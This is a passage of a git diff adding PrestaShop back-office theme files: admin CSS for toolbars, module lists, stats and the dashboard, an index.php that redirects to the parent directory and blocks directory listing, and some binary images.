{width:211px;height:63px;border:none;position:absolute;top:0;right:0;background-image:url('../img/modules_list_button.png');font-size: 1.6em;cursor:pointer;padding-left:45px} + +.toolbarBox #modules_list_container { + background: none repeat scroll 0 0 #FFF; + border: solid 1px #CCC; + display: block; + float: right; + height: auto; + width: 500px; + position: absolute; + right: 13px; + top: 63px; + z-index: 100; + box-shadow: 1px 5px 5px #CCCCCC; + -moz-box-shadow: 1px 5px 10px #CCCCCC; + -webkit-box-shadow: 1px 5px 10px #CCCCCC; + opacity: 1; + +} +.toolbarBox #modules_list_container #modules_list_container_content +{ + max-height: 500px; + overflow: auto; + +} + +.toolbarBox #modules_list_container #modules_list_container_tab {margin-top: 10px;width: auto;height: auto; } +.toolbarBox #modules_list_container #modules_list_container_tab table {width: 100%;border-spacing: 0px; } +.toolbarBox #modules_list_container #modules_list_container_tab tr { height: auto} +.toolbarBox #modules_list_container #modules_list_container_tab tr.rowalt {background-color: #F0F7FF} +.toolbarBox #modules_list_container #modules_list_container_tab #tab_module_switch {margin-bottom: 10px;} +.toolbarBox #modules_list_container #modules_list_loader {margin-top: 10px} +.toolbarBox #modules_list_container .nav-tabs-modules:after {clear: both;} +.toolbarBox #modules_list_container .nav-tabs-modules > li {height: 19px;} +.toolbarBox #modules_list_container .nav-tabs-modules > li > a { + padding-right: 12px; + padding-left: 12px; + margin-right: 2px; + line-height: 14px; +} + +.toolbarBox #modules_list_container .nav-tabs-modules > li > a { + padding-top: 8px; + padding-bottom: 7px; + border: 1px solid transparent; + -webkit-border-radius: 4px 4px 0 0; + -moz-border-radius: 4px 4px 0 0; + -o-border-radius: 4px 4px 0 0; + border-radius: 4px 4px 0 0; +} + +.toolbarBox #modules_list_container .nav-tabs-modules > li > a:hover { + border-color: #C0C0C0; + background-color: #ffffff; +} + +.toolbarBox #modules_list_container .nav-tabs-modules > li > a {border: 1px solid #ddd;border-bottom:none;} + +.toolbarBox #modules_list_container .nav-tabs-modules > .active > a, +.toolbarBox #modules_list_container .nav-tabs-modules > .active > a:hover { + color: #555555; + cursor: default; + background-color: #F8F8F8; + border: 1px solid #ddd; + border-bottom-color: transparent; +} + + + + +div.fix-toolbar {border-bottom: 1px solid #E0E0E0;position:fixed;top:0;opacity:0.9;z-index:500;margin:auto} + +/*button upload files*/ +#content .qq-upload-button { + background: #e4e4e4 url('../img/bg-button-degrade.png') repeat-x scroll left top; + background: -moz-linear-gradient(center top , #F9F9F9, #E3E3E3) repeat scroll 0 0 transparent; + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#E3E3E3)) repeat scroll 0 0 transparent; + color:#333; + width:180px; + text-shadow: 0 1px 0 #fff; + border-color: #CCCCCC #BBBBBB #A0A0A0; + border-left: 1px solid #BBBBBB; + border-radius: 3px 3px 3px 3px; + border-right: 1px solid #BBBBBB; + border-style: solid; + border-width: 1px; + color: #000000; +} +#content .qq-upload-button:hover { border:1px solid #939393;} + +.file_upload_label {margin-top:5px;} + +/*leadin*/ +.leadin {} +.leadin .bloc-leadin{ padding:10px 3px;} + +/*productBox*/ +#productBox { position:relative; width:100%; float:left;} + +/*tab-pane*/ +form#product_form, form#access_form, form#cart_rule_form, #modules_tab_list { background-color:#ebedf4; border:1px solid #ccced7; min-height:404px; padding: 5px 10px 10px; margin-left:140px;} +#modules_tab_list {min-height: inherit} +#content form.adminstockmanagement {margin-left:0px;} +form#product_form h3 { font-size:14px; font-weight:normal;} +form#product_form h4 { font-size:18px; font-weight:normal;} +.tab-row {} +.tab-row .tab {background:#EFEFEF;width:100px;} +.tab-row .tab-page.selected {} +.tab-row .tab-page {} +.productTabs{ background-color:#fafafa; border:1px solid #ccced7; border-right:none; float:left; width:140px;} +.productTabs ul{padding:0;margin:0;} +.productTabs ul li.tab-row { border:none; } +.productTabs ul li.tab-row:first-child a {border-top:none;} +.productTabs ul li.tab-row a { display:block; font-weight:normal; color:#666;padding: 7px 10px; border-top:1px solid #CCCED7; border-right:1px solid #CCCED7;} +.productTabs ul li.tab-row a.selected { background-color:#EBEDF4;font-weight:bold;color:#000; border-right:none;} +.product-tab-content h4.tab { display:none;} +#product_list {margin-bottom:0.5em} + +#categories-treeview { } +#product-tab-content-3-Associations .Association td.col-left { width:200px;} + +/*FILTER MODULE*/ +.filter-module { background-color:#ebedf4; border:1px solid #c2c4d9; padding:10px; display:block; min-height:35px;} +.filter-module #filternameForm {float:left; margin-right:30px;} +.filter-module label {width:auto;} +.filter-module .select-filter { float:left;} +.filter-module .button-filter { float:right;} + +/*FILTER STOCK*/ +.filter-stock { background-color:#ebedf4; border:1px solid #c2c4d9; margin-bottom:15px; padding:10px; display:block; min-height:25px;} +.filter-stock #stock_instant_state {float:left; margin-right:30px;} +.filter-stock label {width:auto;} +.filter-stock .select-filter { float:left;} +.filter-stock .button-filter { float:right;} +.filter-stock-extended { background-color:#ebedf4; border:1px solid #c2c4d9; margin-bottom:15px; padding:10px; display:block; min-height:65px;} +.filter-stock-extended #stock_cover {float:left; margin-right:30px;} +.filter-stock-extended #supply_orders {float:left; margin-right:30px;} +.filter-stock-extended label {width:auto;} +.filter-stock-extended .select-filter { float:left;} +.filter-stock-extended .button-filter { float:right;} + +/*ADDONS LOGIN*/ +#addons_login_div { background: #EBEDF4 url('../img/lock.png') no-repeat scroll left 5px;} +#addons_login_div form#addons_login_form { float:right;} +#addons_login_div p {float:left; font-size:16px; color:#585A69; line-height:24px; text-shadow: 0 1px 0 #fff; margin:0; padding-left:25px;} +#addons_login_div label {} +#addons_login_div input { float:left; margin-right:10px;} +#addons_login_div input#addons_login_button { margin-right: 0px; } + +/*SIDEBAR*/ +.sidebar { position:relative; float:left; width:220px; display:inline;} +.sidebar h3 { background-color:#ebedf4; font-weight:bold; display:block; padding:5px;} +.sidebar.navigation h3 {margin:0;} +.sidebar .subHeadline { font-weight:bold; float:right; margin-top:-28px; margin-right:5px;} +.sidebar ul.categorieList {} +.sidebar ul.categorieList li { border-top:1px solid #ccc; position:relative; line-height:20px;} +.sidebar ul.categorieList li:first-child { border-top:none;} +.sidebar ul.categorieList li a {color:#3a6ea7; display:block; padding-left:5px;} +.sidebar ul.categorieList li a:hover { background-color: #EBEDF4;} +.sidebar ul.categorieList li div.categorieWidth { overflow:hidden;} +.sidebar ul.categorieList li div.count{ position:absolute; top:0; right:5px;} +.sidebar .categorieStatus { display:none;} + +/*NAVIGATION ENGINE*/ +.blocEngine { background-color:#eee;} +.blocEngine .rowForm { display: block;float: left;margin: 0; padding: 5px 0; } +.blocEngine .rowForm label { font-weight:normal;} +.blocEngine .rowForm label, +.blocEngine .rowForm select {width:220px; float:left; text-align:left;} + +.blocEngine p { margin-top:10px;display:block; float:left;} + +/*STATCONTAINER*/ +#statsContainer {margin-left:220px; padding:0 0 0 20px;} +#statsContainer #calendar, +#referrersContainer #calendar{ background-color: #EEEEEE;border-top: 1px solid #CCCCCC; display: block; margin: 10px 0;min-height: 25px; padding: 5px;} +#statsContainer #calendar form, +#referrersContainer #calendar form {float:left;} +#statsContainer #calendar input, #statsContainer #calendar p, +#referrersContainer #calendar input, #referrersContainer #calendar p { float:left;} +#statsContainer #calendar input.submitDateDay, #referrersContainer #calendar input.submitDateDay { border-top-right-radius: 0px; border-bottom-right-radius:0px; border-right:none;} +#statsContainer #calendar input.submitDateMonth, #statsContainer #calendar input.submitDateMonth, +#referrersContainer #calendar input.submitDateMonth, #referrersContainer #calendar input.submitDateMonth { border-radius:0px;} +#statsContainer #calendar input.submitDateYear, +#referrersContainer #calendar input.submitDateYear { border-top-left-radius: 0px; border-bottom-left-radius:0px; border-left:none; margin-right:10px;} +#statsContainer #calendar input.submitDateDayPrev, +#referrersContainer #calendar input.submitDateDayPrev { border-top-right-radius: 0px; border-bottom-right-radius:0px; border-right:none;} +#statsContainer #calendar input.submitDateMonthPrev, +#referrersContainer #calendar input.submitDateMonthPrev { border-radius:0px;} +#statsContainer #calendar input.submitDateYearPrev, +#referrersContainer #calendar input.submitDateYearPrev { border-top-left-radius: 0px; border-bottom-left-radius:0px; border-left:none; margin-right:10px;} +#statsContainer #calendar p, #referrersContainer #calendar p { margin:2px;} +#statsContainer #calendar p span, #referrersContainer #calendar p span { float:left; display:block; padding:3px;} +#statsContainer .blocStats { background-color: #EBEDF4;border: 1px solid #C2C4D9; display: block; position:relative; padding: 10px;} +#statsContainer .blocStats h2 { font-weight:normal; margin:0; font-size:1.4em} +#statsContainer .blocStats h2.icon-statsproduct span, +#statsContainer .blocStats h2.icon-statsbestsuppliers span, +#statsContainer .blocStats h2.icon-statsforecast span, +#statsContainer .blocStats h2.icon-pagesnotfound span, +#statsContainer .blocStats h2.icon-sekeywords span, +#statsContainer .blocStats h2.icon-guide span, +#statsContainer .blocStats h2.icon-statsequipment span, +#statsContainer .blocStats h2.icon-statsvisits span, +#statsContainer .blocStats h2.icon-statssales span, +#statsContainer .blocStats h2.icon-statsregistrations span, +#statsContainer .blocStats h2.icon-statspersonalinfos span, +#statsContainer .blocStats h2.icon-statscatalog span, +#statsContainer .blocStats h2.icon-basket-delete span, +#statsContainer .blocStats h2.icon-statsbestcustomers span, +#statsContainer .blocStats h2.icon-statsorigin span, +#statsContainer .blocStats h2.icon-statsbestproducts span, +#statsContainer .blocStats h2.icon-statsbestvouchers span, +#statsContainer .blocStats h2.icon-statsbestcategories span, +#statsContainer .blocStats h2.icon-statscarrier span, +#statsContainer .blocStats h2.icon-statssearch span, +#statsContainer .blocStats h2.icon-statsstock span, +#statsContainer .blocStats h2.icon-conversion span, +#statsContainer .blocStats h2.icon-payment span, +#statsContainer .blocStats h2.icon-category span, +#statsContainer .blocStats h2.icon-currency span, +#statsContainer .blocStats h2.icon-language span, +#statsContainer .blocStats h2.icon-attribute span { background: transparent url('../img/icon-sprites-title.png') no-repeat scroll left top; width:16px; height:16px; padding-right:18px; margin-right:3px;} + +#statsContainer .blocStats h2.icon-statsproduct span { background-position :2px 2px;} +#statsContainer .blocStats h2.icon-statsforecast span { background-position :-18px 2px;} +#statsContainer .blocStats h2.icon-guide span { background-position :-36px 2px;} +#statsContainer .blocStats h2.icon-statsbestsuppliers span { background-position :-54px 2px;} +#statsContainer .blocStats h2.icon-pagesnotfound span { background-position :-72px 2px;} +#statsContainer .blocStats h2.icon-sekeywords span { background-position :-90px 2px;} +#statsContainer .blocStats h2.icon-statsequipment span { background-position :-108px 2px;} +#statsContainer .blocStats h2.icon-statsvisits span { background-position :-126px 2px;} +#statsContainer .blocStats h2.icon-statsregistrations span { background-position :-147px 2px;} +#statsContainer .blocStats h2.icon-statssales span { background-position : 0 -16px;} +#statsContainer .blocStats h2.icon-statspersonalinfos span { background-position : -18px -16px;} +#statsContainer .blocStats h2.icon-statscatalog span { background-position : -36px -16px;} +#statsContainer .blocStats h2.icon-category span { background-position : -36px -16px;} +#statsContainer .blocStats h2.icon-basket-delete span { background-position : -54px -16px;} +#statsContainer .blocStats h2.icon-statsbestcustomers span { background-position : -72px -16px;} +#statsContainer .blocStats h2.icon-statsorigin span { background-position : -90px -16px;} +#statsContainer .blocStats h2.icon-statsbestproducts span { background-position : -108px -16px;} +#statsContainer .blocStats h2.icon-statsbestvouchers span { background-position : -126px -16px;} +#statsContainer .blocStats h2.icon-statsbestcategories span { background-position : -147px -17px;} +#statsContainer .blocStats h2.icon-statscarrier span { background-position : 2px -36px;} +#statsContainer .blocStats h2.icon-statssearch span { background-position : -18px -36px;} +#statsContainer .blocStats h2.icon-statsstock span { background-position : -36px -36px;} +#statsContainer .blocStats h2.icon-conversion span { background-position : -54px -36px;} +#statsContainer .blocStats h2.icon-payment span { background-position : -72px -36px;} +#statsContainer .blocStats h2.icon-currency span { background-position : -90px -36px;} +#statsContainer .blocStats h2.icon-language span { background-position : -106px -36px;} +#statsContainer .blocStats h2.icon-attribute span { background-position : -126px -36px;} +#statsContainer .blocStats form { position:absolute; top:10px; right:5px;} +#statsContainer .blocStats form.checkup { position:relative; top:0; left:0;} +#statsContainer .totalStats { font-size:16px; font-weight:bold;} +#statsContainer .blocStats .blocConversion { display:block; display:inline-table; min-height:80px !ie; } + +/*MODULECONTAINER*/ +#moduleContainer { margin-left:220px; padding:13px 0 0 20px;} +#moduleContainer .table tr th { height:40px;} +#moduleContainer .table tr td { font-size:12px; vertical-align:top; padding: 5px 7px 0; border-top:1px solid #ccc; border-bottom:none;} +#moduleContainer .table tr:first-child {border-top:1px solid #ccc} +#moduleContainer .table tr td .imgm , #modules_list_container_tab .imgm {width:32px;} +#moduleContainer .moduleDesc { font-size:12px; position:relative; margin-bottom:10px;} +#moduleContainer .moduleDesc h3 { color:#3A6EA7; margin:0;} +#moduleContainer .moduleDesc .metadata { float:left; display:block; margin:5px 0;} +#moduleContainer .moduleDesc .metadata dl { float:left; margin:0; padding-right:10px;} +#moduleContainer .moduleDesc .metadata dl dt, .moduleDesc .metadata dl dd { float:left; margin:0; padding:0;} +#moduleContainer .moduleDesc .metadata dl dd { padding-right:10px;} +#moduleContainer .moduleDesc .metadata dl dt { font-weight:bold; padding-right:5px;} +#moduleContainer .moduleDesc p.desc { color:#666; font-family: Georgia; font-style: italic; font-size:12px; display:block; clear:both;} +#moduleContainer .setup {background-color:#6db300; font-weight:bold; font-size:10px; color:#fff; text-transform:uppercase; position:relative; left:10px; padding:0px 4px; display: inline-block; border-radius:3px;} +#moduleContainer .setup.non-install { background-color:#ec7000;} +#moduleContainer .setup.must-have { background-color: #ec7000;} +#moduleContainer .setup.off{ background-color:#ccc; color:#666666} +#moduleContainer .row-actions-module span {padding-right:5px;} +#moduleContainer .row-actions-module span a { font-size:12px;} +#moduleContainer .button.uninstalled, +#moduleContainer .button.installed { float:right; clear:both; margin-top:15px; font-size:12px;} +#moduleContainer ul.listing-grid-module { position:relative; margin:0; padding:0;} +#moduleContainer ul.listing-grid-module li { float:left; border:1px solid #ccc; width:400px; min-height:30px; margin:10px; padding:5px; border-radius:4px;} +#moduleContainer .moduleGridDesc { position:relative; display:block; height:30px;} +#moduleContainer .moduleGridDesc h3 { color:#3A6EA7; margin:0;} +#moduleContainer ul.listing-grid-module li select { position:absolute; top:0; right:0px; } + +/*TAB MODULES LIST*/ + +#modules_list_container_tab #modules_list_container_content{ + list-style-type:none; + padding:0; + margin:0; + white-space: nowrap; + overflow: auto; + height: 335px; +} +#modules_list_container_tab #modules_list_container_content li{display:inline-block;} +#modules_list_container_tab table tr th { height:40px;} +#modules_list_container_tab table tr td { font-size:12px; padding: 3px 3px 3px; border-top:1px solid #ccc; border-bottom:none;} +#modules_list_container_tab table tr td tr td {border: none} +#modules_list_container_tab table tr:first-child {border-top:1px solid #ccc} +#modules_list_container_tab .imgm {width:32px;} +#modules_list_container_tab .moduleDesc {font-size:12px} +#modules_list_container_tab .moduleDesc h3 { color:#3A6EA7;margin: 0;font-size: 1.1em;text-align: left;white-space: normal;} +#modules_list_container_tab .moduleDesc .metadata { float:left; display:block; margin:5px 0;} +#modules_list_container_tab .moduleDesc .metadata dl { float:left; margin:0; padding-right:10px;} +#modules_list_container_tab .moduleDesc .metadata dl dt, .moduleDesc .metadata dl dd { float:left; margin:0; padding:0;} +#modules_list_container_tab .moduleDesc .metadata dl dd { padding-right:10px;} +#modules_list_container_tab .moduleDesc .metadata dl dt { font-weight:bold; padding-right:5px;} +#modules_list_container_tab .moduleDesc p.desc { color:#666; font-family: Georgia; font-style: italic; font-size:12px; text-align: left;white-space: normal;} +#modules_list_container_tab .setup {background-color:#6db300; font-weight:bold; font-size:10px; color:#fff; text-transform:uppercase; padding:2px 10px; display: inline-block; border-radius:3px;} +#modules_list_container_tab .row-actions-module {float: right;} +#modules_list_container_tab .setup.non-install { background-color:#ec7000;} +#modules_list_container_tab .setup.must-have { background-color: #ec7000;} +#modules_list_container_tab .setup.off{ background-color:#ccc; color:#666666} +#modules_list_container_tab .row-actions-module span { padding-right:5px;} +#modules_list_container_tab .row-actions-module span a { font-size:12px;} +#modules_list_container_tab ul.listing-grid-module { position:relative; margin:0; padding:0;} +#modules_list_container_tab ul.listing-grid-module li { float:left; border:1px solid #ccc; width:400px; min-height:30px; margin:10px; padding:5px; border-radius:4px;} +#modules_list_container_tab .moduleGridDesc { position:relative; display:block; height:30px;} +#modules_list_container_tab .moduleGridDesc h3 { color:#3A6EA7; margin:0;} +#modules_list_container_tab ul.listing-grid-module li select { position:absolute; top:0; right:0px; } + +.default_modules_list_display_type #modules_list_container_content li table tr td{border: none} +.default_modules_list_display_type #modules_list_container_content li table {border: solid 1px #ccc; height: 140px;width: 100%;margin-bottom:15px} +#modules_list_container_tab ul li {height:140px} + + /******** ie7 ******/ + .ie7 #modules_list_container_tab #modules_list_container_content li{zoom:1;display:inline;} + .ie7 #modules_list_container_content li table {width: 21%;} + .ie7 #modules_list_container_content li table td .btn_right{width:100%;float:right;} + .ie7 #modules_list_container_content li table td .btn_right select{float:left;} + .ie7 #modules_list_container_content li table td a.button{display:block;float:right;} + +/*MODULE POSITION*/ +.blocLiveEdit { float:right; clear:right; background-color: #EBEDF4; border: 1px solid #C2C4D9;display: block; width:250px;} +.blocLiveEdit h2 { background: transparent url('../img/live_edit.png') no-repeat scroll 10px 10px; height: 40px; line-height: 50px;margin: 0; padding: 0 10px; text-indent: 40px;} +.blocLiveEdit p { padding: 0 10px;} +.blocLiveEdit a.button {float: left; margin:10px; display: inline-block;} + + +#modulePosition { width:100%; float:left; clear:left;} +#modulePosition .table tr th { height:40px;} +#modulePosition form{ margin-right:270px;} +#modulePosition .lab_modules_positions h3 { color:#3A6EA7; margin:0 0 0 10px; float:left;} +#modulePosition .lab_modules_positions p { font-family:Georgia; font-style: italic; font-size:12px; padding-left:40px; clear:both;} +#modulePosition .lab_modules_positions span { font-size:12px; padding-top:4px; padding-left:5px; float:left; } + +select#show_modules { font-size:12px;} + +label.text { padding:1px 12px 0 0;} +label.radioCheck {font-weight:normal; padding:0; float:none; margin:0 1em 0 0.25em} + +.listForm {} +ul.listForm {} +ul.listForm li {padding-bottom:3px;} + + +/*FOOTER*/ +#footer {height:40px; font-size:12px;clear:both;font-size:0.9em;color:#666666} +#footer .footerLeft { float:left; margin-left:10px;} +#footer .footerRight {float:right; margin-right:10px;} +#footer .footer_link, #footer .footer_link:hover { color:#268CCD;} + +/*DASHBOARD*/ +.pageTitleHome { font-size: 1.6em; font-weight: normal; margin:0; padding:10px 0;} +.pageTitleHome h3 { font-weight: normal; margin:0;} +#dashboard { background-color: #EBEDF4; border: 1px solid #C2C4D9; display: block; padding: 10px; position: relative; min-width:1200px;} +#dashboard h2 {font-size: 1.4em; font-weight:normal; margin:0 0 15px 0;} +#iframe {} +#iframe #video-content { float:left;} +#iframe {position:relative; display:block; min-height:180px;} +#adminpresentation #video { float:left; padding-right:15px; min-height:150px;} +#adminpresentation #video a { position:relative; height:128px; width:220px; display:block; padding:6px; } +#adminpresentation #video a img { } +#adminpresentation #video a span {background: transparent url("../img/play.png") no-repeat scroll left top; height:128px; width:220px; position:absolute; top:0; left:0; z-index:1; display:block; border:6px solid #fff; border-radius:3px; } +#adminpresentation #video a span:hover {background-position:left bottom;border:6px solid #C2C4D9; transition:background 0.5s;} +#adminpresentation #video-content { padding-left:10px; min-height:150px; } +#adminpresentation #video-content p { font-size:20px; line-height: 26px; color:#585A69; text-shadow: 0 1px 0 #fff;} + +.view-modules { float:right; margin: 10px 0;} +.view-modules li { float:left;} +.view-modules li img { padding-right:5px;} +.view-modules li.normal-view-disabled { background: -moz-linear-gradient(center top ,#cccccc, #F9F9F9 ) repeat scroll 0 0 transparent; border-bottom-right-radius: 0; border-right: 1px solid #ccc; border-top-right-radius: 0; color:#999; } +.view-modules li.favorites-view-disabled { background: -moz-linear-gradient(center top ,#cccccc, #F9F9F9 ) repeat scroll 0 0 transparent; border-bottom-left-radius: 0; border-left: 1px solid #fff; border-top-left-radius: 0; color:#999; } +.view-modules li.normal-view-disabled:hover, +.view-modules li.favorites-view-disabled:hover {border-color: #CCCCCC #BBBBBB #A0A0A0;} +.view-modules li.favorites-view {border-bottom-left-radius: 0;border-left: 1px solid #fff; border-top-left-radius: 0;} +.view-modules li.normal-view {border-bottom-right-radius: 0;border-right: 1px solid #ccc; border-top-right-radius: 0;} + +.margin-form select.chosen{width: 200px;} + +.selected-line {background:#fff1b5;} + +#changedFiles ul{list-style-type: square; padding-left: 40px;} + +.tooltip { position: relative; } +.tooltip .tooltip_content { + z-index: 100; + text-align: left; + display: none; + white-space: nowrap; + position: absolute; + padding: 5px 5px; + background: black; + color: white; + box-shadow: 4px 4px 10px rgba(0, 0, 0, 0.5); + margin-top: 5px; +} +.tooltip .tooltip_label { cursor: pointer; } +.tooltip .title { text-align: center; padding-bottom: 5px; display: block; font-weight: bold } +.tooltip:hover .tooltip_content { display: block; } +.tooltip_button { + border: 1px solid silver; + border-radius: 3px; + padding: 0 3px; + background: -moz-linear-gradient(top, #ddd, #aaa); + background: -o-linear-gradient(top, #ddd, #aaa); + background: -webkit-linear-gradient(top, #ddd, #aaa); + background: linear-gradient(top, #ddd, #aaa); + color: #666 +} + +/******** CREATE AN ORDER **************/ + +#carrier_form label{padding-top:0} +#carrier_form input{margin-top:3px} + +/************** SCENE *****************/ + +#large_scene_image{clear:both;border:1px solid transparent;} + +/*********** CSS ADMIN SEARCH ***********/ +.defaultForm .result {} +.defaultForm .result li { + list-style: none; + padding: 5px 10px; +} + .defaultForm .result li span { + margin-left: 10px; + } +.defaultForm .searchResult { + padding: 0; + position: absolute; + width: 50%; + z-index: 3; + left: 280px; +} +.defaultForm .searchResult ul { + background: #fff; + border-radius: 5px; + margin: 0px; + padding: 0; + border:1px solid #ccc; +} + .defaultForm .searchResult ul li { + cursor: pointer; + list-style-type: none; + margin: 0; + padding: 5px 10px; + } + .defaultForm .searchResult ul li:hover { + background: #f1f1f1; + } \ No newline at end of file diff --git a/BO/themes/default/css/index.php b/BO/themes/default/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/themes/default/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/themes/default/css/modules.css b/BO/themes/default/css/modules.css new file mode 100755 index 0000000..59eb3f2 --- /dev/null +++ b/BO/themes/default/css/modules.css @@ -0,0 +1,84 @@ + +.path_bar {display:none;} +#notifs_icon_wrapper {float: left;position: relative;margin:15px 10px 0; width:90px;} +.notifs { float: left;position: relative;cursor: pointer;margin:0; padding:5px; width: 18px;height: 16px;} +#orders_notif {background: url('../img/notif_order.png') no-repeat center top;} +#customers_notif {background: url('../img/notif_customer.png') no-repeat center top;} +#messages_notif {background: url('../img/notif_message.png') no-repeat center top;} +#orders_notif.open_notifs, +#customers_notif.open_notifs, +#messages_notif.open_notifs { background-color: #FFFFFF;border: 1px solid #000000; position: relative; display: block; background-position:center bottom; } + +/*toolbarBox*/ +.toolbarBox { background-color: #F8F8F8; border: 1px solid #CCCCCC; margin-bottom:10px; padding: 10px 0; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;} +.toolbarBox .pageTitle { margin-left:10px; line-height:48px} +.toolbarBox .pageTitle h3 {font-size: 2em; font-weight: bold; line-height: 48px; margin: 0; padding: 0} +.toolbarBox ul.cc_button {float:right;margin:0;padding:0} +.toolbarBox ul.cc_button li {color: #666666; float: left; height: 48px; list-style: none outside none; padding: 1px 1px 3px 4px; text-align: center} +.toolbarBox a.toolbar_btn { border-width: 1px;font-size:11px;cursor: pointer; display: block; float: left; padding: 1px 5px; white-space: nowrap; text-shadow: 0 1px 0 #ffffff} +.toolbarBox a.toolbar_btn:hover {} +.toolbarBox .toolbar_btn span{ display: block;float: none;height: 32px;margin: 0 auto;width: 32px} +.toolbarBox .process-icon-delete { background-image: url('../img/process-icon-delete.png')} +.toolbarBox .process-icon-duplicate { background-image: url('../img/process-icon-duplicate.png')} +.toolbarBox .process-icon-preview { background-image: url('../img/process-icon-preview.png')} +.toolbarBox .process-icon-stats { background-image: url('../img/process-icon-stats.png')} +.toolbarBox .process-icon-cancel { background-image: url('../img/process-icon-cancel.png')} +.toolbarBox .process-icon-new, .toolbarBox .process-icon-newAttributes{ background-image: url('../img/process-icon-new.png')} +.toolbarBox .process-icon-save, .toolbarBox .process-icon-save-settings { background-image: url('../img/process-icon-save.png')} +.toolbarBox .process-icon-save-and-stay { background-image: url('../img/process-icon-save-and-stay.png')} +.toolbarBox .process-icon-edit { background-image: url('../img/process-icon-edit.png')} +.toolbarBox .process-icon-back { background-image: url('../img/process-icon-back.png')} +.toolbarBox .process-icon-refresh-index { background-image: url('../img/process-icon-refresh-index.png')} +.toolbarBox .process-icon-refresh-cache { background-image: url('../img/process-icon-refresh-cache.png')} +.toolbarBox .process-icon-save-calendar { background-image: url('../img/process-icon-save-calendar.png')} +.toolbarBox .process-icon-new-module { background-image: url('../img/process-icon-new-module.png')} +.toolbarBox .process-icon-new-module-addon { background-image: url('../img/process-icon-new-module-addon.png')} + +div.fix-toolbar {border-bottom: 1px solid #E0E0E0;position:fixed;top:0;opacity:0.9;z-index:1} + + +/*FILTER MODULE*/ +.filter-module { background-color:#ebedf4; border:1px solid #c2c4d9; padding:10px; display:block; min-height:35px;} +.filter-module #filternameForm {float:left; margin-right:30px;} +.filter-module label {width:auto;} +.filter-module .select-filter { float:left;} +.filter-module .button-filter { float:right;} + +/*SIDEBAR*/ +.sidebar { position:relative; float:left; width:220px; display:inline;} +.sidebar h3 { background-color:#ebedf4; font-weight:bold; display:block; padding:5px;} +.sidebar .subHeadline { font-weight:bold; float:right; margin-top:-28px; margin-right:5px;} +.sidebar ul.categorieList {} +.sidebar ul.categorieList li { border-top:1px solid #ccc; position:relative; line-height:20px;} +.sidebar ul.categorieList li:first-child { border-top:none;} +.sidebar ul.categorieList li a {color:#3a6ea7;} +.sidebar ul.categorieList li div.categorieWidth { text-indent:5px; overflow:hidden;} +.sidebar ul.categorieList li div.count{ position:absolute; top:0; right:5px;} + +/*MODULECONTAINER*/ +#moduleContainer { margin-left:220px; padding:13px 0 0 20px;} +#moduleContainer .table tr th { height:40px;} +#moduleContainer .table tr td { font-size:12px; vertical-align:top; padding: 5px 7px 0; border-top:1px solid #ccc; border-bottom:none;} +#moduleContainer .table tr:first-child {border-top:1px solid #ccc} +#moduleContainer .table tr:hover { background-color:#FFF1B5;} +#moduleContainer .moduleDesc { font-size:12px; position:relative; margin-bottom:10px;} +#moduleContainer .moduleDesc h3 { color:#3A6EA7; margin:0;} +#moduleContainer .moduleDesc .metadata { float:left; display:block; margin:5px 0;} +#moduleContainer .moduleDesc .metadata dl { float:left; margin:0; padding-right:10px;} +#moduleContainer .moduleDesc .metadata dl dt, .moduleDesc .metadata dl dd { float:left; margin:0; padding:0;} +#moduleContainer .moduleDesc .metadata dl dd { padding-right:10px;} +#moduleContainer .moduleDesc .metadata dl dt { font-weight:bold; padding-right:5px;} +#moduleContainer .moduleDesc p.desc { color:#666; font-size:12px; display:block; clear:both;} +#moduleContainer .setup {background-color:#6db300; font-size:10px; color:#fff; text-transform:uppercase; position:relative; left:10px; padding:0px 4px; display: inline-block; border-radius:3px;} +#moduleContainer .setup.non-install { border: solid 1px #ec7000; background-color: #ffedb1; color: #ec7000} +#moduleContainer .setup.must-have { background-color: #ec7000;} +#moduleContainer .setup.off{ background-color:#ccc;} +#moduleContainer .row-actions-module span { padding-right:5px;} +#moduleContainer .row-actions-module span a { font-size:12px;} +#moduleContainer .button.uninstalled, +#moduleContainer .button.installed { float:right; display: inline-block; margin-top:15px; font-size:12px;} +#moduleContainer .button.updated { margin-top:15px; display: inline-block; font-size:12px;} +#list-action-button{width:175px} +#list-action-button li{margin-left:10px;display: inline;float: left;} +#moduleContainer .moduleName {font-size:12px; color:#3A6EA7;font-weight:bold;} +#moduleContainer .moduleFavDesc { font-family:Georgia; font-style:italic; color:#666;} \ No newline at end of file diff --git a/BO/themes/default/img/ajax-loader.gif b/BO/themes/default/img/ajax-loader.gif new file mode 100755 index 0000000..d2afc32 Binary files /dev/null and b/BO/themes/default/img/ajax-loader.gif differ diff --git a/BO/themes/default/img/bg-button-degrade.png b/BO/themes/default/img/bg-button-degrade.png new file mode 100755 index 0000000..c2498d2 Binary files /dev/null and b/BO/themes/default/img/bg-button-degrade.png differ diff --git a/BO/themes/default/img/bg-degrade-table.png b/BO/themes/default/img/bg-degrade-table.png new file mode 100755 index 0000000..b072138 Binary files /dev/null and b/BO/themes/default/img/bg-degrade-table.png differ diff --git a/BO/themes/default/img/bg-lang.png b/BO/themes/default/img/bg-lang.png new file mode 100755 index 0000000..5db3269 Binary files /dev/null and b/BO/themes/default/img/bg-lang.png differ diff --git a/BO/themes/default/img/bg-quick.png b/BO/themes/default/img/bg-quick.png new file mode 100755 index 0000000..4acbb75 Binary files /dev/null and b/BO/themes/default/img/bg-quick.png differ diff --git a/BO/themes/default/img/bg-submenu.png b/BO/themes/default/img/bg-submenu.png new file mode 100755 index 0000000..ba30c6b Binary files /dev/null and b/BO/themes/default/img/bg-submenu.png differ diff --git a/BO/themes/default/img/bg-subtab.png b/BO/themes/default/img/bg-subtab.png new file mode 100755 index 0000000..fdc1b11 Binary files /dev/null and b/BO/themes/default/img/bg-subtab.png differ diff --git a/BO/themes/default/img/bg-tab.png b/BO/themes/default/img/bg-tab.png new file mode 100755 index 